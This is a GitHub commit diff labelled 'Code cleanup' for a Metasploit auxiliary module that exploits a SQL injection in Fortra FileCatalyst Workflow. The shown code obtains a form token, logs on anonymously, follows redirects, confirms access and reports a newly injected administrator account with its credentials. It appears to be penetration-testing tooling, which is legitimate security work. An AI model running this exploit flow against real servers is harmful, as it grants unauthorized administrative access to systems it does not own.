Skip to content

Commit 3577ae8

Browse files
committed
Code cleanup
Code cleanup
1 parent 8ad328a commit 3577ae8

File tree

1 file changed

+34
-29
lines changed

1 file changed

+34
-29
lines changed

modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.rb

Lines changed: 34 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -80,13 +80,19 @@ def run
8080
end
8181

8282
body = res.body
83-
if body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
84-
token_value = ::Regexp.last_match(1)
85-
print_status("FCWEB.FORM.TOKEN value: #{token_value}")
86-
else
83+
unless body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
8784
fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.')
8885
end
8986

87+
token_value = ::Regexp.last_match(1)
88+
print_status("FCWEB.FORM.TOKEN value: #{token_value}")
89+
# if body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
90+
# token_value = ::Regexp.last_match(1)
91+
# print_status("FCWEB.FORM.TOKEN value: #{token_value}")
92+
# else
93+
# fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.')
94+
# end
95+
9096
res = send_request_cgi(
9197
'method' => 'GET',
9298
'uri' => normalize_uri(target_uri.path, "workflow/logonAnonymous.do?FCWEB.FORM.TOKEN=#{token_value}"),
@@ -99,13 +105,13 @@ def run
99105
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
100106
end
101107

102-
if res.headers['Location']
103-
location_value = res.headers['Location']
104-
print_status("Redirect #1: #{location_value}")
105-
else
108+
unless res.headers['Location']
106109
fail_with(Failure::UnexpectedReply, 'Location header not found.')
107110
end
108111

112+
location_value = res.headers['Location']
113+
print_status("Redirect #1: #{location_value}")
114+
109115
res = send_request_cgi(
110116
'method' => 'GET',
111117
'uri' => normalize_uri(target_uri.path, location_value.to_s),
@@ -118,13 +124,13 @@ def run
118124
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
119125
end
120126

121-
if res.headers['Location']
122-
location_value = res.headers['Location']
123-
print_status("Redirect #2: #{location_value}")
124-
else
127+
unless res.headers['Location']
125128
fail_with(Failure::UnexpectedReply, 'Location header not found.')
126129
end
127130

131+
location_value = res.headers['Location']
132+
print_status("Redirect #2: #{location_value}")
133+
128134
res = send_request_cgi(
129135
'method' => 'GET',
130136
'uri' => normalize_uri(target_uri.path, location_value.to_s),
@@ -140,17 +146,17 @@ def run
140146
html = res.get_html_document
141147
h2_tag = html.at_css('h2')
142148

143-
if h2_tag
144-
h2_text = h2_tag.text.strip
145-
if h2_text == 'Choose an Order Type'
146-
print_status('Received expected response.')
147-
else
148-
fail_with(Failure::UnexpectedReply, 'Unexpected string found inside h2 tag: ' + h2_text)
149-
end
150-
else
149+
unless h2_tag
151150
fail_with(Failure::UnexpectedReply, 'h2 tag not found.')
152151
end
153152

153+
h2_text = h2_tag.text.strip
154+
unless h2_text == 'Choose an Order Type'
155+
fail_with(Failure::UnexpectedReply, 'Unexpected string found inside h2 tag: ' + h2_text)
156+
end
157+
158+
print_status('Received expected response.')
159+
154160
t = Time.now
155161
username = datastore['NEW_USERNAME']
156162
password = Digest::MD5.hexdigest(datastore['NEW_PASSWORD']).upcase
@@ -251,17 +257,16 @@ def run
251257
html = res.get_html_document
252258
title_block = html.at_css('.titleBlock')
253259

254-
if title_block
255-
title_text = title_block.text.strip
256-
if title_text.include?('Administration')
257-
store_valid_credential(user: datastore['NEW_USERNAME'], private: datastore['NEW_PASSWORD'], proof: html)
258-
print_good('Login successful!')
259-
else
260-
fail_with(Failure::UnexpectedReply, 'Expected string "Administration" not found.')
261-
end
262-
else
260+
unless title_block
263261
fail_with(Failure::UnexpectedReply, 'Expected titleBlock not found.')
264262
end
263+
title_text = title_block.text.strip
264+
265+
unless title_text.include?('Administration')
266+
fail_with(Failure::UnexpectedReply, 'Expected string "Administration" not found.')
267+
end
268+
store_valid_credential(user: datastore['NEW_USERNAME'], private: datastore['NEW_PASSWORD'], proof: html)
269+
print_good('Login successful!')
265270

266271
print_good("New admin user was successfully injected:\n\t#{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")
267272
print_good("Login at: #{full_uri(normalize_uri(target_uri, 'workflow/jsp/logon.jsp'))}")

0 commit comments

Comments
 (0)